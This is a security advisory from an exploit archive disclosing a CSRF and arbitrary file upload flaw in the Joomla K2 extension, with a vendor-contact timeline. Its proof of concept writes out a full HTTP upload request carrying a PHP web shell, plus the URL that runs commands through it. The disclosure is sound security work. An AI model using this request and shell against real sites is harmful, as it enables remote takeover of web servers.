what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla K2 2.7.1 Shell Upload / Cross Site Request Forgery

Joomla K2 2.7.1 Shell Upload / Cross Site Request Forgery
Posted Nov 20, 2016
Authored by Anti Rais

Joomla K2 extension versions 2.5.0 through 2.7.1 suffer from cross site request forgery and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, csrf
SHA-256 | 51360de63be1747db41906a1d00213fd070daf72507686e977bfdec5cc249b1b

Joomla K2 2.7.1 Shell Upload / Cross Site Request Forgery

Change Mirror Download
K2 RCE via CSRF or WCI
######################

Information
===========

Name: K2 Joomla! Extension 2.5.0 - 2.7.1
Software: K2
Platform: Joomla 3.6.2
Homepage: https://getk2.org/, http://extensions.joomla.org/extension/k2
Vulnerability: RCE, arbitrary file upload, missing CSRF protection
Prerequisites: victim has to be authenticated user with administrator role
CVE: pending

Credit: Anti RA$?is
HTML version: https://bitflipper.eu

Product
=======

K2 is a Joomla! extension for complete replacement of the default
article system, which is used to edit the Joomla administration panel
and the website.


Description
===========

The administrator panel of K2 suffers from arbitrary file upload which
leads to arbitrary PHP code execution. An attacker could trick an
administrator to upload a malicious file (PHP shell) and execute
arbitrary PHP code using it. This functionality is available by default
to users with administrator role (admin, super user), therefore limiting
the attack surface to authenticated administrator users. The file upload
functionality isn't protected by CSRF token, which makes it possible to
exploit it by constructing a malicious request, which on execution
exploits the vulnerability, while the victim visits the attacker
controlled site. In addition, the attacker can use a WCI vulnerability
on the site to exploit the arbitrary file upload vulnerability.
Successful exploitation could lead to full site compromise.

Proof of Concept
================

Presumption: attacker has access to Joomla administrator account; or
uses an CSRF attack; or uses a WCI to upload a PHP shell and execute code.

Let's presume the attacker has access to an account with file upload
privilege. Files can be uploaded by using the K2 "Media manager"
functionality.

URL: http://victim.site/administrator/index.php?option=com_k2&view=media

==================== request ========================
POST /administrator/index.php?option=com_k2&view=media&task=connector
HTTP/1.1
Host: victim.site
Content-Length: 460
Origin: http://victim.site
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryxyHoCnAa7sl8Av8n
Cookie: sessionid=3m5hjeiuclg0hpeqz07yy2vn39hwlndk;
csrftoken=e326M8wbFD4Z5fiQ89UajJIz9L3QK0w71ox3FvPiEVefZ6iPEBP162DLTVcp73D1;
9d4bb4a09f511681369671a08beff228=4chd10bifo542nu9cmlicee567;
7d0782cfab13fd2c5bf432df1a61714f=dr59cn2pmetrrphhg4an3rgsl2;
9f18fe26c0ec633377140bd52b70b80d=edvlrnur4a6pnk8r77jujrdtr0;
joomla_user_state=logged_in;
joomla_remember_me_f7811899bb3aee4b5b1c3a1f45a0a1a4=GZFvw90iVyObqNeS.pPmGLqZavgPnnwRqz3QW
Connection: close

------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="upload[]"; filename="sh.php"
Content-Type: application/x-php

<pre><?php if(isset($_REQUEST['x'])){echo system($_REQUEST['x']);}?></pre>
------WebKitFormBoundaryxyHoCnAa7sl8Av8n--
==================== request end ====================

Parameter "target" specifies the "root" directory for the "Media
manager" and is the same across installations (same version; not tested
with older ones). PHP and other files starting with a dot (e.g
".htacces") are hidden, but are accessible directly. File is uploaded in
the "images" folder and can be directly accessed.

URL to execute PHP shell:
http://victim.site/images/sh.php?x=ls%20-lah

Timeline
========

* 06.08.2016 | me > developer | vulnerability discovered and initial contact
* 08.08.2016 | me > developer | sent the report to the developers
* 10.08.2016 | developer > me | issue acknowledged
* 10.08.2016 | me > DWF | CVE request - no response
* 11.08.2016 | developer > me | inadequate fix: update elFinder plugin;
responded with bypass
* 12.08.2016 | developer > me | inadequate fix: changed elFinder plugin
configuration
* 15.08.2016 | me > developer | responded with bypass
* 17.08.2016 | developer > me | inadequate fix: added CSRF protection
* 17.08.2016 | me > developer | responded with PoC#2 which uses WCI to
exploit RCE
* 25.08.2016 | me > developer | asked for fix timeline
* 26.08.2016 | developer > me | responded with time estimation
* 27.08.2016 | me > developer | reminded that target site is exploitable
when combined with WCI vulnerability
* 20.09.2016 | me > developer | no patch available; contacted developer
about the release status - no feedback
* 11.10.2016 | me > developer | no patch available; contacted developer
about the progress - no feedback
* 19.11.2016 | me > public | full disclosure

---
Anti RA$?is
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close